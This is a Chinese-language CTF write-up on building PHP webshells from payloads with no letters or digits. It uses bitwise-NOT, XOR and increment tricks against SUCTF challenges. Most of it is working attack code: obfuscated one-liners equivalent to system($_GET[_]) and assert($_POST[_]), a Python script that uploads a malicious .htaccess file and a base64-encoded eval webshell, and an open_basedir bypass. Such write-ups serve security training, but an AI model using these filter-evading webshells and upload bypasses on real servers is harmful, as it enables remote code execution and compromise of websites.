CTF 技巧之无字母数字 webshell

无字母数字webshell

无字母数字webshell,简单的意思就是payload中不能出现字母以及数字的方法进行getshell

取反webshell

在线靶场:https://buuoj.cn/challenges#[SUCTF+2018]GetShell

image.png

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }   
} 

这一段代码的大致意思就是会检测上传文件的内容里第六个字符是否是黑名单里的东西

使用bp进行fuzz测试

image.png

整理后得到:$().;=[]_~这些可以用,看到这个~就可以知道这里是让用取反的绕过了

在php里使用~对汉字进行取反可以得到字符

image.png

可以看到使用对返回的字符串进行索引,就可以获得自己想要的字符了

这里还有一个知识点,在php里true是数字1false是数字0

image.png

然后再使用弱类型比较[]==[]来获得返回的true,因为true1所以可以当作索引到字符串的第二个字符

image.png

贴出脚本

<?php
$str = "“是呵,谢谢您,我喜,您也喜,大家同喜!太太,您比在北海养病,我陪着您的时候,气色好多了,脸上也显着丰满!日子过的多么快,一转眼又是一年了。提起我们的冬儿,可是有了主儿了,我们的姑爷在清华园当茶役,这年下就要娶。姑爷岁数也不大,家里也没有什么人。可是您说的‘大喜’,我也不为自己享福,看着她有了归着,心里就踏实了,也不枉我吃了十五年的苦。“说起来真像故事上的话,您知道那年庆王爷出殡,……那是哪一年?……我们冬儿她爸爸在海淀大街上看热闹,这么一会儿的工夫就丢了。那天我们两个人倒是拌过嘴,我还当是他赌气进城去了呢,也没找他。过了一天,两天,三天,还不来,我才慌了,满处价问,满处价打听,也没个影儿。也求过神,问过卜,后来一个算命的,算出说他是往西南方去了,有个女人绊住他,也许过了年会回来的。我稍微放点心,我想,他又不是小孩子,又是本地人,哪能说丢就丢了呢,没想到……如今已是十五年了!“那时候我们的冬儿才四岁。她是‘立冬’那天生的,我们就这么一个孩子。她爸爸本来在内务府当差,什么杂事都能做,糊个棚呀干点什么的,也都有碗饭吃。自从前清一没有了,我们就没了落儿了。我们十几年的夫妻,没红过脸,到了那时实在穷了,才有时急得彼此抱怨几句,谁知道这就把他逼走了呢?“我抱着冬儿哭了三整夜,我哥哥就来了,说:‘你跟我回去,我养活着你。’太太,您知道,我哥哥家那些个孩子,再加上我,还带着冬儿,我嫂子嘴里不说,心里还能喜欢么?我说:‘不用了,说不定你妹夫他什么时候也许就回来,冬儿也不小了,我自己想想法子看。’我把他回走了。以后您猜怎么着,您知道圆明园里那些大柱子,台阶儿的大汉白玉,那时都有米铺里雇人来把它砸碎了,掺在米里,好添分量,多卖钱。我那时就天天坐在那漫荒野地里砸石头。一边砸着石头,一边流眼泪。冬天的风一吹,眼泪都冻在脸上。回家去,冬儿自己爬在炕上玩,有时从炕上掉下来,就躺在地下哭。看见我,她哭,我也哭,我那时哪一天不是眼泪拌着饭吃的!“去年北海不是在‘霜降’那天下的雪么?我们冬儿给我送棉袄来了,太太您记得?傻大黑粗的,眼梢有点往上吊着?这孩子可是厉害,从小就是大男孩似的,一直到大也没改。四五岁的时候,就满街上和人抓子儿,押摊,耍钱,输了就打人,骂人,一街上的孩子都怕她!可是有一样,虽然蛮,她还讲理。还有一样,也还孝顺,我说什么,她听什么,我呢,只有她一个,也轻易不说她。“她常说:‘妈,我爸爸撇下咱们娘儿俩走了,你还想他呢?你就靠着我得了。我卖鸡子,卖柿子,卖萝卜,养活着你,咱们娘儿俩厮守着,不比有他的时候还强么?你一天里淌眼抹泪的,当的了什么呀?’真的,她从八九岁就会卖鸡子,上清河贩鸡子去,来回十七八里地,挑着小挑子,跑的比大人还快。她不打价,说多少钱就多少钱,人和她打价,她挑起挑儿就走,头也不回。可是价钱也公道,海淀这街上,谁不是买她的?还有一样,买了别人的,她就不依,就骂。“不卖鸡子的时候,她就卖柿子,花生。说起来还有可笑的事呢,您知道西苑常驻兵,这些小贩子就怕大兵,卖不到钱还不算,还常捱打受骂的。她就不怕大兵,一早晨就挑着柿子什么的,一直往西苑去,坐在那操场边上,专卖给大兵。一个大钱也没让那些大兵欠过。大兵凶,她更凶,凶的人家反笑了,倒都让着她。等会儿她卖够了,说走就走,人家要买她也不给。那一次不是大兵追上门来了?我在院子里洗衣裳,她前脚进门,后脚就有两个大兵追着,吓得我们一跳,我们一院子里住着的人,都往屋里跑。大兵直笑直嚷着说:‘冬儿姑娘,冬儿姑娘,再卖给我们两个柿子。’她回头把挑儿一放,两只手往腰上一叉说:‘不卖给你,偏不卖给你,买东西就买东西,谁和你们嘻皮笑脸的!你们趁早给我走!’我吓得直哆嗦!谁知道那两个大兵倒笑着走了。您瞧这孩子的胆!“那一年她有十二三岁,张宗昌败下来了,他的兵就驻在海淀一带。这张宗昌的兵可穷着呢,一个个要饭的似的,袜子鞋都不全,得着人家儿就拍门进去,翻箱倒柜的,还管是住着就不走了。海淀这一带有点钱的都跑了,大姑娘小媳妇儿的,也都走空了。我是又穷又老,也就没走,我哥哥说:‘冬儿倒是往城里躲躲罢。’您猜她说什么,她说:‘大舅舅,您别怕,我妈不走,我也不走,他们吃不了我,我还要吃他们呢!’可不是她还吃上大兵么?她跟他们后头走队唱歌的,跟他们混得熟极了,她哪一天不吃着他们那大笼屉里蒸的大窝窝头?“有一次也闯下祸——那年她是十六岁了,——有几个大兵从西直门往西苑拉草料,她叫人家把草料卸在我们后院里,她答应晚上请人家喝酒。我是一点也不知道,她在那天下午就躲开了。晚上那几个大兵来了,吓得我要死!知道冬儿溜了,他们恨极了,拿着马鞭子在海淀街上找了她三天。后来亏得那一营兵开走了,才算没有事。“冬儿是躲到她姨儿,我妹妹家去了。我的妹妹家住在蓝旗,有个菜园子,也有几口猪,还开个小杂货铺。那次冬儿回来了,我就说:‘姑娘你岁数也不小了,整天价和大兵捣乱,不但我担惊受怕,别人看着也不像一回事,你说是不是?你倒是先住在你姨儿家去,给她帮帮忙,学点粗活,日后自然都有用处……’她倒是不刁难,笑嘻嘻的就走了。“后来,我妹妹来说:‘冬儿倒是真能干,真有力气,浇菜,喂猪,天天一清早上西直门取货,回来还来得及做饭。做事是又快又好,就是有一样,脾气太大!稍微的说她一句,她就要回家。’真的,她在她姨儿家住不上半年就回来过好几次,每次都是我劝着她走的。不过她不在家,我也有想她的时候。那一回我们后院种的几棵老玉米,刚熟,就让人拔去了,我也没追究。冬儿回来知道了,就不答应说:‘我不在家,你们就欺负我妈了!谁拔了我的老玉米,快出来认了没事,不然,谁吃了谁嘴上长疔!’她坐在门槛上直直骂了一下午,末后有个街坊老太太出来笑着认了,说:‘姑娘别骂了,是我拔的,也是闹着玩。’这时冬儿倒也笑了说:‘您吃了就告诉我妈一声,还能不让您吃吗?明人不做暗事,您这样叫我们小孩子瞧着也不好!’一边说着,这才站起来,又往她姨儿家里跑。“我妹妹没有儿女。我妹夫就会耍钱,不做事。冬儿到他们家,也学会了打牌,白天做活,晚上就打牌,也有一两块钱的输赢。她打牌是许赢不许输,输了就骂。可是她打的还好,输的时候少,不然,我的这点儿亲戚,都让她给骂断了!“在我妹妹家两年,我就把她叫回来了,那就是去年,我跟您到北海去,叫她回来看家。我不在家,她也不做活,整天里自己做了饭吃了,就把门锁上,出去打牌。我听见了,心里就不痛快。您从北海一回来,我就赶紧回家去,说了她几次,勾起胃口疼来,就躺下了。我妹妹来了,给我请了个瞧香的,来看了一次,她说是因为我那年为冬儿她爸爸许的愿,没有还,神仙就罚我病了。冬儿在旁边听着,一声儿也没言语。谁知道她后脚就跟了香头去,把人家家里神仙牌位一顿都砸了,一边还骂着说:‘还什么愿!我爸爸回来了么?就还愿!我砸了他的牌位,他敢罚我病了,我才服!’大家死劝着,她才一边骂着,走了回来。我妹妹和我知道了,又气,又害怕,又不敢去见香头。谁知后来我倒也好了,她也没有什么。真是,‘神鬼怕恶人’……。“我哥哥来了,说:‘冬儿年纪也不小了,赶紧给她找个婆家罢,“恶事传千里”,她的厉害名儿太出远了,将来没人敢要!’其实我也早留心了,不过总是高不成低不就的。有个公公婆婆的,我又不敢答应,将来总是麻烦,人家哪能像我似的,什么都让着她?那一次有人给提过亲,家里也没有大人,孩子也好,就是时辰不对,说是犯克。那天我合婚去了,她也知道,我去了回来,她正坐在家里等我,看见我就问:‘合了没有?’我说:‘合了,什么都好,就是那头命硬,说是克丈母娘。’她就说:‘那可不能做!’一边说着又拿起钱来,出去打牌去了。我又气又心疼。这会儿的姑娘都脸大,说话没羞没臊的!“这次总算停当了,我也是一块石头落了地!“谢谢您,您又给这许多钱,我先替冬儿谢谢您了!等办过了事,我再带他们来磕头。……您自己也快好好的保养着,刚好别太劳动了,重复了可不是玩的!我走了,您,再见。”";

for ($i = 0; $i < mb_strlen($str, "utf-8"); $i++) {
    $str1 = mb_substr($str, $i, 1, "utf-8");
    $str2 = ~($str1);
    $str3 = $str2[1];
    $str4 = "";
    if ($str3 == "s" || $str3 == "y" || $str3 == "s" || $str3 == "t" || $str3 == "e" || $str3 == "m" || $str3 == "_" || $str3 == "G" || $str3 == "E" || $str3 == "T") {
        echo "~($str1)[\$_];         $str3" . PHP_EOL;
        continue;
    }
}

之后组合出来的pyload

<?=$_=[]==[];$__=~(包)[$_];$__.=~(熙)[$_];$__.=~(指)[$_];$__.=~(括)[$_];$__.=~(的)[$_];$__.=~(和)[$_];$___=~(校)[$_];$___.=~(上)[$_];$___.=~(人)[$_];$___.=~(站)[$_];$__($$___[_]);
// <?=system($_GET[_]);

得到flag

image.png

异或webshell

在线靶场:https://buuoj.cn/challenges#[SUCTF+2019]EasyWeb

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

一层一层的来代码审计

$hhh = @$_GET['_'];接收一个GET请求

if(strlen($hhh)>18)判断传的参长度是否超过18

if ( preg_match('/[\x00- 0-9A-Za-z\'"\'~_&.,|=[\x7F]+/i', $hhh) )正则匹配传参的内容

$character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!");统计传参内容不相同字符是否超过12个

eval($hhh);调用传参

$userdir = "upload/tmp_" . md5($_SERVER['REMOTE_ADDR']); if (!file_exists($userdir)) { ▸ mkdir($userdir); } 创建以上传用户的ip地址作为名称的上传目录

$extension = substr($name, strrpos($name, ".") + 1);获取上传文件的后缀名

if (preg_match("/ph/i", $extension)) die("^_^");判断后缀名是否出现ph(不区分大小写)

if (mb_strpos(file_get_contents($tmp_name), '<?') !== False) die("^_^");判断上传文件内容是否出现<?

if (!exif_imagetype($tmp_name)) die("^_^");检查文件内容开头是否是图片的特征码


思路基本上就是通过绕过传参的限制,然后去调用get_the_flag这个函数了

先构造传参的payload

先用脚本跑以下看看有哪些字符可以使用

<?php

for ($i = 0; $i < 256; $i++) {
if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i))) {
echo chr($i);
continue;
}
}

得到可以绕过的字符!#$%()*+-/:;<>?@\]^{}

php中两个字符相互异或得到的也是一个字符

image.png

官方介绍

image.png

然后开始构造payload

<?php
$payload = '';
$x = '_GET';
for ($i = 0; $i < strlen($x); $i++) {
for ($j = 0; $j < 255; $j++) {
$k = chr($j) ^ chr(255);
if ($k == $x[$i]) {
$payload .= urlencode(chr($j));
continue;
}
}
}
echo "\${%ff%ff%ff%ff^" . $payload . "}{%ff}();&%ff=phpinfo" . PHP_EOL;

得到${%ff%ff%ff%ff^%A0%B8%BA%AB}{%ff}();&%ff=phpinfo

image.png

php7的特性

可以在字符串后面添加()来表示这个是字符串是函数名,然后可以直接调用

image.png

这里相当于${_GET}{%ff}();&%ff=phpinfo

然后${_GET}{%ff}()相当于$_GET['%ff']()

这里使用大括号包裹住_GET而不是使用括号包裹,是因为使用括号的话,也会被计算机当作字符串给传入过去就会变成$(_GET)(%ff)()这样php就会报错,从而执行不了

{}在php里是被用来界定变量的,如果在大括号前加一个$大括号里的东西就会自动当成字符串然后与$进行拼接就变成了变量,类似于可变变量

image-20211227103103432.png

image.png

通过eval操控get_the_flag函数,来上传文件

get_the_flag函数检查后缀不能出现ph

检查文件内容不能出现<?

exif_imagetype检查是否是文件

后缀ph可以通过.htaccess文件绕过,通过phpinfo返回的信息里可以看到,这里使用的是apache做的中间件,.htaccess是apache里的一个特殊配置文件,这个文件所在的目录会生效.htaccess里的配置

然后使用#define width 1  #define height 1来绕过exif_imagetype函数的检查,不用GIF89a是因为添加这个在.htaccess文件里,这个标识符不属于apache的配置,所以会报错不会生效这个文件。

这个#define width 1  #define height 1是一个叫XBM的图片格式,这个配置是用来表明XBM图片的宽与高,因为刚好使用的#来表明的配置,而在.htaccess#刚好是注释符不会报错,从而达到绕过的目的

解决了.htaccess,来到了ShellCode文件,这里过滤掉了<?,直接base64编码来绕过就好了

#!/bin/python3                                                                
# -*- coding:utf-8 -*-                                                        
                                                                              
import requests                                                               
import base64                                                                 
                                                                              
content = b"""#define width 1                                                 
#define height 1                                                              
                                                                              
AddType application/x-httpd-php .txt                                          
php_value auto_append_file "php://filter/convert.base64-decode/resource=./1.txt"
"""                         
                                                                              
shell = b"GIF89a12" + base64.b64encode(b"<?php @eval($_POST['cmd']);?>")      
                                                                              
url = "http://2305bb2d-787c-40ab-83b0-9ef523ff7ac2.node4.buuoj.cn:81/"        
pay = "?_=${%ff%ff%ff%ff^%A0%B8%BA%AB}{%ff}();&%ff=get_the_flag"              
                                                                              
request = requests.Session()                                                  
file1 = [("file", ("1.txt", shell, 'image/png'))]                             
file2 = [("file", (".htaccess", content, 'image/png'))]                       
                                                                              
res = request.post(url=url + pay, files=file2)                                
res = request.post(url=url + pay, files=file1)                                
print(f"上传完成'\n'{url + res.text}")                                        

.htaccess文件里的内容:

AddType application/x-httpd-php .txt .txt后缀的文件里的内容作为php代码了解析

php_value auto_append_file "php://filter/convert.base64-decode/resource=./1.txt" 访问1.txt文件的时候先使用php为协议base64解码一遍,在执行

测试功能

image.png

使用蚁剑建立连接

image.png

进入根目录会报错,这是因为这个php环境配置开启了open_basedir这个设置

image.png

需要去绕过

payload

ini_set("open_basedir",+"..");chdir("..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set('open_basedir','/');var_dump(glob('*'));var_dump(file_get_contents('THis_Is_tHe_F14g'));

//ini_set 修改php.ini配置

//chdir 进入指定目目录

//globl 寻找匹配的文件路径

image.png

或者使用蚁剑安装disable_functions插件然后连接

image.png

自增webshell

php的一个特性:

image-20211226135620491.png

利用这个特性,可以构造出我们想要的字母拼接成想要的函数了

image.png

这时候可能会有人说了,这样的话不也还是会用到字符吗?

ohohoh~ 别急,php总能给我们惊喜

在php中,可以把一个空数组给转换成字符串,然后数组的单词是Array,这样就可以获取到大小写的所有字符了

image.png

下面贴出例子

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_____=[]==[]; // $_____=1;
$_____=$_____-$_____; // $_____=0;
$_=$_[$_____]; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

写成一行

<?=$_=[];$_=@"$_";$_____=[]==[];$_____=$_____-$_____;$_=$_[$_____];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

image.png

image.png